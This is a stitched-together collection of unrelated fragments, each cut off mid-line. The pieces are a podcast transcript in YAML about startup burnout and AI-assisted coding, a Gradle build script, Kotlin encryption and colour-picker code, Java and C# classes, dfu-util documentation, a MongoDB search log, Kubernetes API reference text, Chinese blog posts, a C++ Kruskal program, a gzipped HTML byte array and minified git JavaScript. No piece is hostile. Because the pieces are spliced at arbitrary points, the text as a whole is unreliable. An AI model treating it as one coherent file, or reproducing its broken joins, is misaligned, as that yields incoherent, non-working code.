: 'You feel this: "Okay, I produce some code, and I see it in action." It doesn’t
    need to go through ten steps of approval or whatever.'
  sec: 2155
  time: '35:55'
  who: Alexey
- line: But on the other hand, because of the constant firefighting mode—constantly
    pivoting, constantly working on something—things break, and you try to fix them.
  sec: 2161
  time: '36:01'
  who: Alexey
- line: At least, that was my experience. At the end of the day, I felt exhausted.
    I gave more than 100%, and it was super difficult for me to do anything after
    work.
  sec: 2169
  time: '36:09'
  who: Alexey
- line: After one year, I was like, "I’m burned out." In corporations, that doesn’t
    happen.
  sec: 2193
  time: '36:33'
  who: Alexey
- line: You don’t have to move at that speed. In startups, you’re running all the
    time, whereas in a corporation, it’s more like a walk in the park.
  sec: 2200
  time: '36:40'
  who: Alexey
- line: Yeah, but that’s what I’m saying. Both have their pluses and minuses.
  sec: 2216
  time: '36:56'
  who: Nemanja
- line: For me, it’s refreshing that I can move at my maximum speed. But again, I’ve
    only been doing this for two months.
  sec: 2222
  time: '37:02'
  who: Nemanja
- line: If I kept this pace for a year, I’d probably also be close to burnout. But,
    you know, in Eastern Europe, we don’t have burnout.
  sec: 2230
  time: '37:10'
  who: Nemanja
- line: Right? What is that?
  sec: 2242
  time: '37:22'
  who: Nemanja
- line: We don’t accept it.
  sec: 2249
  time: '37:29'
  who: Alexey
- line: But the amount of things I learned—because I needed to build so many things
    from scratch and solve real problems with real clients—was incredible.
  sec: 2249
  time: '37:29'
  who: Alexey
- line: Yeah, that’s true.
  sec: 2267
  time: '37:47'
  who: Nemanja
- line: But you know what I see as a risk now with LLMs and AI-assisted coding?
  sec: 2274
  time: '37:54'
  who: Nemanja
- line: It’s a kind of trap. I realized how quickly I could do many things for which
    I’m not really an expert, and it works.
  sec: 2279
  time: '37:59'
  who: Nemanja
- line: But I’m thinking, okay, this has only been two months. What if I work like
    this for two years?
  sec: 2286
  time: '38:06'
  who: Nemanja
- line: My primary competence is Python, but suddenly, I’m doing Ansible scripts,
    GitHub pipelines, and HTML with AI's help.
  sec: 2292
  time: '38:12'
  who: Nemanja
- line: AI helps me so much that I can handle 10–20 different areas. But what happens
    when this code needs to be maintained?
  sec: 2303
  time: '38:23'
  who: Nemanja
- line: Because I’ve seen people online bragging about how one person can do three
    weeks’ work alone. But how much of that code is technical debt?
  sec: 2315
  time: '38:35'
  who: Nemanja
- line: What part of the code will become a monster to maintain a year later?
  sec: 2321
  tim


-navigation:1.0.0-alpha03"
            val hiltNavigationFragment = "androidx.hilt:hilt-navigation-fragment:1.0.0-alpha03"
            val hiltNavigationCompose = "androidx.hilt:hilt-navigation-compose:1.0.0-alpha01"
            val hiltCompiler = "com.google.dagger:hilt-android-compiler:$hiltVersion"
        }
    }
}import nl.javadude.gradle.plugins.license.DownloadLicensesExtension.license
import org.gradle.api.tasks.testing.logging.TestExceptionFormat
import org.gradle.api.tasks.testing.logging.TestLogEvent
import org.openapitools.generator.gradle.plugin.tasks.GenerateTask

plugins.withId("com.hivemq.edge-version-updater") {
    project.ext.set(
        "versionUpdaterFiles",
        arrayOf("src/main/resources/hivemq-edge-configuration.json", "gradle.properties")
    )
}

buildscript {
    repositories {
        mavenCentral()
    }
    dependencies {
        classpath("org.openapitools:openapi-generator-gradle-plugin")
    }
}

plugins {
    java
    `java-library`
    `maven-publish`
    signing
    alias(libs.plugins.shadow)
    alias(libs.plugins.defaults)
    alias(libs.plugins.metadata)
    alias(libs.plugins.javadoclinks)
    alias(libs.plugins.githubrelease)
    alias(libs.plugins.license)
    alias(libs.plugins.versions)

    /* Code Quality Plugins */
    alias(libs.plugins.spotbugs)
    alias(libs.plugins.forbiddenapis)

    alias(libs.plugins.openapi.generator)

    id("pmd")
    id("com.hivemq.edge-version-updater")
    id("com.hivemq.third-party-license-generator")
    id("com.hivemq.repository-convention")
    id("com.hivemq.jacoco-convention")
}

group = "com.hivemq"
description = "HiveMQ Edge is a Gateway exposing MQTT and Edge services"

metadata {
    readableName.set("HiveMQ Edge")
    organization {
        name.set("HiveMQ GmbH")
        url.set("https://www.hivemq.com/")
    }
    license {
        apache2()
    }
    developers {
        register("cschaebe") {
            fullName.set("Christoph Schaebel")
            email.set("christoph.schaebel@hivemq.com")
        }
        register("simon622") {
            fullName.set("Simon Johnson")
            email.set("simon.johnson@hivemq.com")
        }
        register("lbrandl") {
            fullName.set("Lukas Brandl")
            email.set("lukas.brandl@hivemq.com")
        }
        register("flimpoeck") {
            fullName.set("Florian Limpoeck")
            email.set("florian.limpoeck@hivemq.com")
        }
        register("sauroter") {
            fullName.set("Georg Held")
            email.set("georg.held@hivemq.com")
        }
        register("SgtSilvio") {
            fullName.set("Silvio Giebl")
            email.set("silvio.giebl@hivemq.com")
        }
    }
    github {
        org.set("hivemq")
        repo.set("hivemq-edge")
        issues()
    }
}

/* ******************** java ******************** */

java {
    toolchain {
        languageVersion.set(JavaLanguageVersion.of(21))
    }
    withJavadocJar()
    withSourcesJar()
}

/* ******************** dependencies ******************** */

// Runtime stuffs
dependencies {

    //HiveMQ
    api(libs.hivemq.extensionsdk)
    api(libs.hivemq.edge.extensionsdk)


ate val apiKey: String,
  private val client: HttpClient,
) {
  private val keyPair: KeyPair
  private var sharedSecret: SecretKey
  private var encryptionId: String
  private var encryptionIdExpiresAt: Instant
  private var serverPublicKeyExpiresAt: Instant

  init {
    keyPair = generateECKeyPair()
    val submitResponse = runBlocking { submitClientPublicKey(keyPair.public) }
    encryptionId = submitResponse.encryptionId
    encryptionIdExpiresAt = submitResponse.expiresAt
    val serverResponse = runBlocking { getServerPublicKey() }
    serverPublicKeyExpiresAt = serverResponse.expiresAt
    sharedSecret =
      deriveSharedSecret(
        keyPair.private,
        Base64.getDecoder().decode(serverResponse.publicKeyEncoded),
      )
  }

  private fun generateECKeyPair(): KeyPair {
    val keyGen = KeyPairGenerator.getInstance("EC")
    keyGen.initialize(ECGenParameterSpec("secp384r1"))
    return keyGen.generateKeyPair()
  }

  private suspend fun submitClientPublicKey(publicKey: PublicKey): SubmitClientPublicKeyResponse {
    val publicKeyEncoded = Base64.getEncoder().encodeToString(publicKey.encoded)
    val payload = mapOf("public_key_base64" to publicKeyEncoded)
    return NetworkService.postElement(
      client = client,
      element = payload,
      authorization = "Bearer $apiKey",
      url = "$baseURL${Constants.ENCRYPTION_PUBLIC_KEY_PATH}",
    )
  }

  private suspend fun getServerPublicKey(): GetServerPublicKeyResponse {
    return NetworkService.getElement(
      client = client,
      url = "$baseURL${Constants.ENCRYPTION_SERVER_PUBLIC_KEY_PATH}",
      authorization = "Bearer $apiKey",
    )
  }

  private fun deriveSharedSecret(privateKey: PrivateKey, publicKeyBytes: ByteArray): SecretKey {
    val keyFactory = KeyFactory.getInstance("EC")
    val pubKeySpec = X509EncodedKeySpec(publicKeyBytes)
    val publicKey = keyFactory.generatePublic(pubKeySpec)

    val keyAgreement = KeyAgreement.getInstance("ECDH")
    keyAgreement.init(privateKey)
    keyAgreement.doPhase(publicKey, true)
    val secret = keyAgreement.generateSecret()
    val derivedKey = Hkdf.deriveKey(ikm = secret, salt = ByteArray(32), outputLength = 32)
    return SecretKeySpec(derivedKey, "AES")
  }

  suspend fun encryptMessage(message: String): String {
    refreshSharedSecretIfNeeded()
    val cipher = Cipher.getInstance("AES/GCM/NoPadding")
    val iv = ByteArray(12).also { SecureRandom().nextBytes(it) }
    val gcmSpec = GCMParameterSpec(128, iv)
    cipher.init(Cipher.ENCRYPT_MODE, sharedSecret, gcmSpec)
    val ciphertext = cipher.doFinal(message.toByteArray(Charsets.UTF_8))
    val combined = iv + ciphertext
    return Base64.getEncoder().encodeToString(combined)
  }

  suspend fun decryptMessage(encryptedMessage: String): String {
    refreshSharedSecretIfNeeded()
    val decoded = Base64.getDecoder().decode(encryptedMessage)
    val iv = decoded.copyOfRange(0, 12)
    val cipherText = decoded.copyOfRange(12, decoded.size)
    val cipher = Cipher.getInstance("AES/GCM/NoPadding")
    val gcmSpec = GCMParameterSpec(128, iv)
    cipher.init(Cipher.DECRYPT_MODE, sharedSecret, gcmSpec)
    val plain


color);
                    } else {
                        graphics.setColor(white);
                    }
                }

                graphics.fillRect(x, y, 1, 1);
            }
        }

        // Write the image to the asset file.
        String ballName = ballName(ballId);
        String assetPath = "Textures/poolBalls/" + ballName + ".png";
        String filePath = String.format("%s/%s", assetDirPath, assetPath);
        try {
            Heart.writeImage(filePath, image);
        } catch (IOException exception) {
            throw new RuntimeException(exception);
        }
    }
}
/*
 Copyright (c) 2019-2024 Stephen Gold
 All rights reserved.

 Redistribution and use in source and binary forms, with or without
 modification, are permitted provided that the following conditions are met:
 * Redistributions of source code must retain the above copyright
 notice, this list of conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright
 notice, this list of conditions and the following disclaimer in the
 documentation and/or other materials provided with the distribution.
 * Neither the name of the copyright holder nor the names of its contributors
 may be used to endorse or promote products derived from this software without
 specific prior written permission.

 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
 ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
 FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
package jme3utilities.minie.test;

import com.github.stephengold.shapes.custom.CustomEllipsoid;
import com.jme3.asset.AssetManager;
import com.jme3.asset.DesktopAssetManager;
import com.jme3.asset.ModelKey;
import com.jme3.asset.plugins.ClasspathLocator;
import com.jme3.asset.plugins.FileLocator;
import com.jme3.bullet.PhysicsSpace;
import com.jme3.bullet.collision.shapes.Box2dShape;
import com.jme3.bullet.collision.shapes.BoxCollisionShape;
import com.jme3.bullet.collision.shapes.CapsuleCollisionShape;
import com.jme3.bullet.collision.shapes.CollisionShape;
import com.jme3.bullet.collision.shapes.CompoundCollisionShape;
import com.jme3.bullet.collision.shapes.ConeCollisionShape;
import com.jme3.bullet.collision.shapes.ConicalFrustum;
import com.jme3.bullet.collision.shapes.Convex2dShape;
import com.jme3.bullet.collision.shapes.CylinderCollisionShape;
import com.jme3.bullet.collision.shapes.EmptyShape;
import com.jme3.bullet.collision.shapes.GImpactCollisionShape;
import com.jme3.bullet.collision.shapes.HeightfieldCollisionShape;
import com.jme3.bullet.collision.shapes.HullCollisionShape;
import com.jme3.bullet.collision.shapes.MeshCollisionShape;
import com.jme3.bullet.collision.shapes.MultiSphere;
import com.jme3.bullet.collision.shapes.PlaneCollisionShape;
import com.jme3.bullet.collision.shapes.SimplexCollisionShape;
impor


sh, since there is no USB bootloader in ROM.

	For instance STM32F107, STM32F2xx and STM32F4xx devices have a
	DfuSe bootloader in ROM, so the flash can be erased while
	keeping the device available for USB DFU transfers as long
	as the device designers use this built-in bootloader and have
	not implemented another DfuSe bootloader in flash that the user is
	dependent upon.

	Well-written bootloaders running from flash will report their
	own memory region as read-only and not eraseable, but this does
	not prevent dfu-util from sending a "unprotect" or "mass-erase"
	request which overrides this, if the user insists.

Example usage

       Flashing a .dfu (special DfuSe format) file to the device:

         $ dfu-util -a 0 -D /path/to/dfuse-image.dfu

       Reading out 1 KB of flash starting at address 0x8000000:

         $ dfu-util -a 0 -s 0x08000000:1024 -U newfile.bin

       Flashing  a  binary  file to address 0x8004000 of device memory and ask
       the device to leave DFU mode:

         $ dfu-util -a 0 -s 0x08004000:leave -D /path/to/image.bin

	[Back to dfu-util main page]

        ©2012 Tormod Volden — Valid XHTML & CSS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

	<title>DfuSe and dfu-util</title>
	<meta http-equiv="content-type" content="application/xhtml+xml; charset=iso-8859-1" />
	<meta name="author" content="Tormod Volden" />
	<meta name="keywords" content="dfu-util, DfuSe, ST DFU extensions" />
	<meta name="description" content="How to use dfu-util with DfuSe devices" />
	<link rel="icon" type="image/png" href="favicon.ico" />
	<link rel="stylesheet" type="text/css" href="simple.css" media="screen, print" />

Using dfu-util with DfuSe devices

DfuSe

	DfuSe (DFU with ST Microsystems extensions) is a protocol based on
	DFU 1.1. However, in expanding the functionality of the DFU protocol,
	ST Microsystems broke all compatibility with the DFU 1.1 standard.
	DfuSe devices report the DFU version as "1.1a".

	DfuSe can be used to download firmware and other data
	from a host computer to a conforming device (or upload in the
	opposite direction) over USB similar to standard DFU.

	The main difference from standard DFU is that the target address in
	the device (flash) memory is specified by the host, so that a
	download can be performed to parts of the device memory. The host
	program is also responsible for erasing flash pages before they
	are written to.

.dfu files

	A special file format is defined by ST Microsystems to carry firmware
	for DfuSe devices. The file contains target information such as address
	and alternate interface information in


Bound = 1048576 // 2^20, guessed, hopefully large enough bound to enable the assume

            val symbol = when (length) {
                is TACSymbol.Var -> TACExpr.Sym.Var(length)
                is TACSymbol.Const -> TACExpr.Sym.Const(length)
            }
            val relaxedAssume = TACCmd.Simple.AssumeExpCmd(
                txf {symbol le maxBound.asTACExpr},
                MetaMap(TACMeta.HASHING_BOUND_ASSUME to length)
            )

            removedAssertConds.add((assertCmdWithMeta.cmd as TACCmd.Simple.AssertCmd).o)
            patchingProg.replaceCommand(assertCmdWithMeta.ptr, listOf(relaxedAssume))
        }
        fixupAssertSnippetAnnotations(prog, patchingProg, removedAssertConds)
        return patchingProg.toCode(prog)
    }

    fun fixupAssertSnippetAnnotations(
        prog: CoreTACProgram,
        patchingProg: SimplePatchingProgram,
        removedAssertConds: List<TACSymbol>
    ) {
        /*
         * The [AssertSnippet]'s scoping enforcement is not correct anymore - some asserts were replaced with assumes or
         * nops. For all of these, we need to check if they were wrapped with [AssertSnippet] annotations and if so
         * remove those as well.
         */
        val graph = TACCommandGraph(prog)
        prog.parallelLtacStream()
            .filter {
                (it.maybeNarrow<TACCmd.Simple.AnnotationCmd>()?.cmd?.maybeAnnotation(TACMeta.SNIPPET) as? AssertSnippet<*>)?.assertCond in removedAssertConds
            }
            .map { it.narrow<TACCmd.Simple.AnnotationCmd>().ptr }
            .sequential()
            .forEach { startScopePtr ->
                val endScopePtr = graph.iterateBlock(startScopePtr).takeUntil {
                    it.maybeAnnotation(TACMeta.SCOPE_SNIPPET_END)
                }?.last()?.ptr ?: error("there should have been a scope-end annotation for the scope start at $startScopePtr")
                patchingProg.update(startScopePtr) { TACCmd.Simple.NopCmd }
                patchingProg.update(endScopePtr) { TACCmd.Simple.NopCmd }
            }
    }

    /**
     * Transforms all the user-defined [TACCmd.Simple.AssertCmd]
     * commands in [prog] that precede the last auto-generated assert command [lastAutoGenAssertWithMeta]
     * (w.r.t. topological ordering given by [topoSortedAssertsWithMeta]), into [TACCmd.Simple.AssumeCmd] commands.
     *
     * All (user-defined) [TACCmd.Simple.AssertCmd] commands that come after [lastAutoGenAssertWithMeta]
     * are transformed into NOP commands.
     *
     * @return The patched [prog]] ([CoreTACProgram])
     */
    private fun generateTacForCheckingAllAutoGenAsserts(
        prog: CoreTACProgram,
        optPatchingProgram: SimplePatchingProgram?,
        lastAutoGenAssertWithMeta: AssertCmdWithMeta,
        topoSortedAssertsWithMeta: List<AssertCmdWithMeta>,
    ): CoreTACProgram = generateTacForCheckingAssert(
        prog,
        optPatchingProgram,
        lastAutoGenAssertWithMeta,
        topoSortedAssertsWithMeta,
    ) { assertWithMeta: AssertCmdWithMeta ->
        // Replace prior user-defined asserts with assumes; keep all auto-generated asserts in place
        assertWithMeta is AssertCmdWithMeta.UserDefined
    }

    /**
     * Transforms all [TACCmd.Simple.AssertCmd] commands in [prog],
     * that precede the user-defined assert command [userDefinedAssertToCheck]
     * (w.r.t. topological ordering given by [topoSortedAssertsWithMeta]), into [TACCmd.Simple.AssumeCmd] commands.
     *
     * All [TACCmd.Simple.AssertCmd] commands that come after [userDefinedAssertToCheck]
     * are transformed into NOP commands.
     *
     * @return The patched [prog]] ([CoreTACProgram])
     */
    internal fun generateTacForCheckingUserDefinedAssert(
        prog: CoreTACProgram,
        optPatchingProgram: SimplePatchingProgram


ary>
		/// <param name="image">the image object to be added.</param>
		public void AddImage(Image image)
		{
			if(null == image)
			{
				throw new ArgumentNullException("image");
			}
			if(null == imageList)
			{
				imageList = new ImageList();
			}
			imageList.Images.Add(image);
			if(null != iconHandles)
			{
				iconHandles.Add(IntPtr.Zero);
			}
		}

		/// <summary>
		/// Get or set the ImageList object for this ImageHandler.
		/// </summary>
		public ImageList ImageList
		{
			get { return imageList; }
			set
			{
				Close();
				imageList = value;
			}
		}

		/// <summary>
		/// Returns the handle to an icon build from the image of index
		/// iconIndex in the image list.
		/// </summary>
		public IntPtr GetIconHandle(int iconIndex)
		{
			// Verify that the object is in a consistent state.
			if((null == imageList))
			{
				throw new InvalidOperationException();
			}
			// Make sure that the list of handles is initialized.
			if(null == iconHandles)
			{
				InitHandlesList();
			}

			// Verify that the index is inside the expected range.
			if((iconIndex < 0) || (iconIndex >= iconHandles.Count))
			{
				throw new ArgumentOutOfRangeException("iconIndex");
			}

			// Check if the icon is in the cache.
			if(IntPtr.Zero == iconHandles[iconIndex])
			{
				Bitmap bitmap = imageList.Images[iconIndex] as Bitmap;
				// If the image is not a bitmap, then we can not build the icon,
				// so we have to return a null handle.
				if(null == bitmap)
				{
					return IntPtr.Zero;
				}

				iconHandles[iconIndex] = bitmap.GetHicon();
			}

			return iconHandles[iconIndex];
		}

		private void InitHandlesList()
		{
			iconHandles = new List<IntPtr>(imageList.Images.Count);
			for(int i = 0; i < imageList.Images.Count; ++i)
			{
				iconHandles.Add(IntPtr.Zero);
			}
		}

		#region IDisposable Members

		/// <summary>
		/// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
		/// </summary>
		public void Dispose()
		{
			this.Dispose(true);
			GC.SuppressFinalize(this);
		}
		#endregion

		private void Dispose(bool disposing)
		{
			if(!this.isDisposed)
			{
				lock(Mutex)
				{
					if(disposing)
					{
						this.imageList.Dispose();
					}

					this.isDisposed = true;
				}
			}
		}
	}
}


s READY.
INFO:__main__:Search index 'vs_1' is now READY and available!
Index is ready!
INFO:mdb_toolkit.core:Inserting documents into 'test_collection'.
INFO:mdb_toolkit.core:Inserted 6 documents into 'test_collection'.
Inserted documents into the collection.
Searching for documents...
INFO:__main__:Performing vector-based search with query: 'When is Apple's conference call scheduled?'
INFO:mdb_toolkit.core:Found existing index 'vs_1'.
INFO:mdb_toolkit.core:Vector search completed. Found 3 documents.

--- Vector-Based Search Results ---
ID: 4
Content: Apple’s conference call to discuss fourth fiscal quarter results and business updates is scheduled for Thursday, November 2, 2023 at 2:00 p.m. PT / 5:00 p.m. ET.
Meta Data: None
Score: 0.8040727376937866

ID: 5
Content: Shakespeare's works, like 'Hamlet' and 'A Midsummer Night's Dream,' endure in literature.
Meta Data: None
Score: 0.7103409767150879

ID: 2
Content: 20th-century innovations, from radios to smartphones, centered on electronic advancements.
Meta Data: None
Score: 0.6980117559432983
"""


StorageClass that the reported capacity applies to. It must meet the same requirements as the name of a StorageClass object (non-empty, DNS subdomain). If that object no longer exists, the CSIStorageCapacity object is obsolete and should be removed by its creator. This field is immutable.

CSIStorageCapacityList v1beta1 storage

Field	Description

apiVersion
string	APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources

items
CSIStorageCapacity array	Items is the list of CSIStorageCapacity objects.

kind
string	Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds

metadata
ListMeta	Standard list metadata More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata

Write Operations

Create

create a CSIStorageCapacity

HTTP Request

POST /apis/storage.k8s.io/v1beta1/namespaces/{namespace}/csistoragecapacities

Path Parameters

Parameter	Description

namespace	object name and auth scope, such as for teams and projects

Query Parameters

Parameter	Description

pretty	If 'true', then the output is pretty printed.

dryRun	When present, indicates that modifications should not be persisted. An invalid or unrecognized dryRun directive will result in an error response and no further processing of the request. Valid values are: - All: all dry run stages will be processed

fieldManager	fieldManager is a name associated with the actor or entity that is making these changes. The value must be less than or 128 characters long, and only contain printable characters, as defined by https://golang.org/pkg/unicode/#IsPrint.

fieldValidation	fieldValidation instructs the server on how to handle objects in the request (POST/PUT/PATCH) containing unknown or duplicate fields, provided that the `ServerSideFieldValidation` feature gate is also enabled. Valid values are: - Ignore: This w


ww.yuque.com/barretlee/chat/smroy4
tags:
  - 小胡子哥的碎语
categories:
  - 观点和感想
date: 2022-05-26 11:56:07
---

MIT 协议是一个宽松的协议，它允许使用者对内容做几乎所有的操作，不做限制，唯有一点，必须保留版权声明，什么叫做保留版权声明？就是把 MIT 协议的这个文件或者链接保留在你引用源内容的地方。对于文章类可以采用 CC-BY 协议。

有人说，我在网站上用了别人的开源产品，如何保留版权声明呢？有两种方式，一是在代码引入处保留协议，有些代码压缩工具能够识别协议内容的；另外一种可以如图所示参考 Chrome，在产品的关于页，清清楚楚地把所有用到的开源产品及其协议展示出来。
![image](../blogimgs/2022/05/26/1653537420229-92cc47ed-243c-49e5-ab88-a8558ac971ed.png)
![image](../blogimgs/2022/05/26/1653537424041-f7f64924-2be1-4014-9398-3a1af487b44e.png)

那些只行使权利不履行义务的使用者，拿自己不知道、不懂作为由头，欲撇开所有责任，不仅仅是不道德，其实已经触碰了法律的边界。

---
title: 理解 Flutter 和 RN/Weex 的差异
description: 小胡子哥的个人网站
warning: 'true'
author: 小胡子哥
tags:
  - flutter
  - weex
categories:
  - 前端杂烩
date: 2019-06-21 12:02:00
---

![upload successful](../blogimgs/2019/06/21/flutter.png)

Flutter 和 RN/Weex 的差异，核心在于渲染的基础由自己实现，简单来说，

- Flutter 的代码经过 Flutter 引擎直接就渲染到了屏幕上
- 而 RN/Weex 的代码需要先跑到 Native 层处理一下，然后经过 Native 层渲染到屏幕

很显然前者效率会更高。由于 Native 组件可能会随着系统的


    var pickerLightOffsetFraction: Float by mutableStateOf(0f)
        private set

    var selectedGradient: Gradient
        get() = _gradients[gradientIndex]
        private set(value) {
            _gradients[gradientIndex] = value
        }
    var gradientSpace: ColorSpace<*>
        get() = selectedGradient.colorSpace
        set(value) {
            selectedGradient = selectedGradient.copy(
                stops = Stops(
                    selectedGradient.stops.copyStops(stepCount).map { it.convertTo(value) }
                ),
            )
        }
    val selectedColor: Color
        get() {
            val i = stepIndex ?: 0
            return when (val stops = selectedGradient.stops) {
                is Stops.Custom -> stops.stops[i]
                is Stops.Endpoints -> {
                    selectedGradient.interpolator().interpolate(i.toDouble() / (stepCount - 1))
                }
            }
        }
    val selectedHue: Float
        get() = pickerHueOffsetFraction * 360
    val stepCount: Int
        get() = stepSliderValue.roundToInt().coerceIn(STEPS_MIN, STEPS_MAX)

    val gradientSpaces = listOf(RGB, HSL, LAB, LCHab, LUV, LCHuv, Oklab, Oklch, JzAzBz)
    val easingFunctionNames = easingFunctions.keys.toList()

    init {
        showGeneratePalette()
        selectStep(0, null)
    }

    fun setColorMenuIndex(index: Int) {
        menuIndex = index.coerceIn(0, menuOptions.lastIndex)
        menuText = menuOptions[index]
    }

    fun colorTextIsError(): Boolean {
        return parseColorOrNull(menuText) == null
    }

    fun addGradient() {
        if (_gradients.size < GRADIENT_COUNT_MAX) _gradients.add(randGradient())
    }

    fun removeGradient(index: Int) {
        _gradients.removeAt(index)
        if (gradientIndex >= index) selectGradient((gradientIndex - 1).coerceAtLeast(0))
    }

    private fun selectGradient(index: Int) {
        require(index in _gradients.indices) { "Invalid gradient index" }
        gradientIndex = index
        refreshCurrentColor()
    }

    fun selectStep(gradientIndex: Int, stepIndex: Int?) {
        this.stepIndex = stepIndex
        selectGradient(gradientIndex)
    }

    fun setStepSliderValue(value: Float) {
        val old = stepCount
        stepSliderValue = value
        val c = stepCount
        if (c == old) return
        for ((i, g) in _gradients.withIndex()) {
            if (g.stops is Stops.Endpoints) continue
            _gradients[i] = g.copy(stops = Stops(g.stops.copyStops(c)))
        }
        refreshCurrentColor()
    }

    fun changeMenuText(colorString: String) {
        menuText = colorString
        menuExpanded = false
        val newColor = parseColorOrNull(colorString) ?: return
        changeColor(newColor.convertTo(selectedColor.space), skipMenu = true)
    }

    private fun changeColor(
        color: Color,
        skipMenu: Boolean = false,
        skipPicker: Boolean = false,
    ) {
        val i = stepIndex ?: 0
        val newStops = selectedGradient.stops.copyStops(
            stepCount,
            keepEndpoints = i == 0 || i == stepCount - 1
        )
        newStops[i] = color
        selectedGradient = selectedGradient.copy(stops = Stops(newStops))
        refreshCurrentColor(skipMenu, skipPicker)
    }

    private fun refreshCurrentColor(
        skipMenu: Boolean = false,
        skipPicker:


cstring>
#include <algorithm>

using namespace std;

const int N = 50010, M = 100010;

int n, m;       // n是点数，m是边数
int p[N];       // 并查集的父节点数组

struct Edge     // 存储边
{
    int a, b, w;

    bool operator< (const Edge &W)const
    {
        return w < W.w;
    }
}edges[M];

int find(int x)     // 并查集核心操作
{
    if (p[x] != x) p[x] = find(p[x]);
    return p[x];
}

int kruskal() {
    sort(edges, edges + m);

    for (int i = 1; i <= n; i ++ ) p[i] = i;    // 初始化并查集

    int res = 0, cnt = 0;
    for (int i = 0; i < m; i ++ ) {
        int a = edges[i].a, b = edges[i].b, w = edges[i].w;

        a = find(a), b = find(b);
        if (a != b)     // 如果两个连通块不连通，则将这两个连通块合并
        {
            p[a] = b;
            res = max(res, w);
            cnt ++ ;
        }
    }

    return res;
}

int main() {
    int root;
    cin >> n >> m >> root;

    int cnt = 0;
    for (int i = 1; i <= m; i++) {
        int u, v, t;
        cin >> u >> v >> t;
        edges[cnt ++] = {u, v, t};
    }

    sort(edges, edges + cnt);

    cout << kruskal() << endl;

    return 0;
}#include "dash_webpage.h"

const uint8_t DASH_HTML[90537] PROGMEM = {
31,139,8,0,0,0,0,0,2,3,204,57,105,119,219,56,146,159,247,250,15,50,215,171,33,94,32,90,206,181,
243,168,32,126,142,227,190,187,147,190,15,61,61,15,69,150,36,116,40,128,13,64,182,213,50,255,251,86,129,23,
236,36,59,95,246,152,62,168,34,170,80,119,21,10,244,139,163,215,111,46,126,248,245,237,229,104,227,182,229,203,
127,251,231,23,244,59,42,51,181,22,17,168,8,87,70,163,23,27,200,10,15,33,188,5,151,141,242,77,102,44,
56,17,253,248,195,39,147,191,70,163,147,14,91,74,245,110,100,160,20,145,204,181,138,70,27,3,43,17,157,172,
178,107,122,79,240,65,196,33,43,149,109,65,68,215,18,110,42,109,92,52,66,50,7,10,89,223,200,194,109,68,
1,184,19,38,254,133,143,164,146,78,102,229,196,230,89,9,226,52,153,6,220,156,116,37,188,124,125,254,25


s:S={},prune:A=!1,pruneTags:k=!1,cache:w={}}){try{return P("fs",t),P("http",e),P("gitdir",l),await hg({fs:new Q(t),cache:w,http:e,onProgress:r,onMessage:n,onAuth:i,onAuthSuccess:a,onAuthFailure:s,gitdir:l,ref:c,remote:u,remoteRef:f,url:d,corsProxy:h,depth:p,since:g,exclude:v,relative:y,tags:b,singleBranch:E,headers:S,prune:A,pruneTags:k})}catch(x){throw x.caller="git.fetch",x}}async function wS({fs:t,dir:e,gitdir:r=$.join(e,".git"),oids:n,cache:i={}}){try{return P("fs",t),P("gitdir",r),P("oids",n),await pg({fs:new Q(t),cache:i,gitdir:r,oids:n})}catch(a){throw a.caller="git.findMergeBase",a}}async function bS({fs:t,filepath:e}){if(await t.exists($.join(e,".git")))return e;{let r=ao(e);if(r===e)throw new je(`git root for ${e}`);return bS({fs:t,filepath:r})}}async function _S({fs:t,filepath:e}){try{return P("fs",t),P("filepath",e),await bS({fs:new Q(t),filepath:e})}catch(r){throw r.caller="git.findRoot",r}}async function xS({fs:t,dir:e,gitdir:r=$.join(e,".git"),path:n}){try{return P("fs",t),P("gitdir",r),P("path",n),await oc({fs:new Q(t),gitdir:r,path:n})}catch(i){throw i.caller="git.getConfig",i}}async function mD({fs:t,gitdir:e,path:r}){return(await nt.get({fs:t,gitdir:e})).getall(r)}async function SS({fs:t,dir:e,gitdir:r=$.join(e,".git"),path:n}){try{return P("fs",t),P("gitdir",r),P("path",n),await mD({fs:new Q(t),gitdir:r,path:n})}catch(i){throw i.caller="git.getConfigAll",i}}async function ES({http:t,onAuth:e,onAuthSuccess:r,onAuthFailure:n,corsProxy:i,url:a,headers:s={},forPush:o=!1}){try{P("http",t),P("url",a);let c=await go.getRemoteHelperFor({url:a}).discover({http:t,onAuth:e,onAuthSuccess:r,onAuthFailure:n,corsProxy:i,service:o?"git-receive-pack":"git-upload-pack",url:a,headers:s,protocolVersion:1}),u={capabilities:[...c.capabilities]};for(let[f,d]of c.refs){let h=f.split("/"),p=h.pop(),g=u;for(let v of h)g[v]=g[v]||{},g=g[v];g[p]=d}for(let[f,d]of c.symrefs){let h=f.split("/"),p=h.pop(),g=u;for(let v of h)g[v]=g[v]||{},g=g[v];g[p]=d}return u}catch(l){throw l.caller="git.getRemoteInfo",l}}function AS(t,e,r,n){let 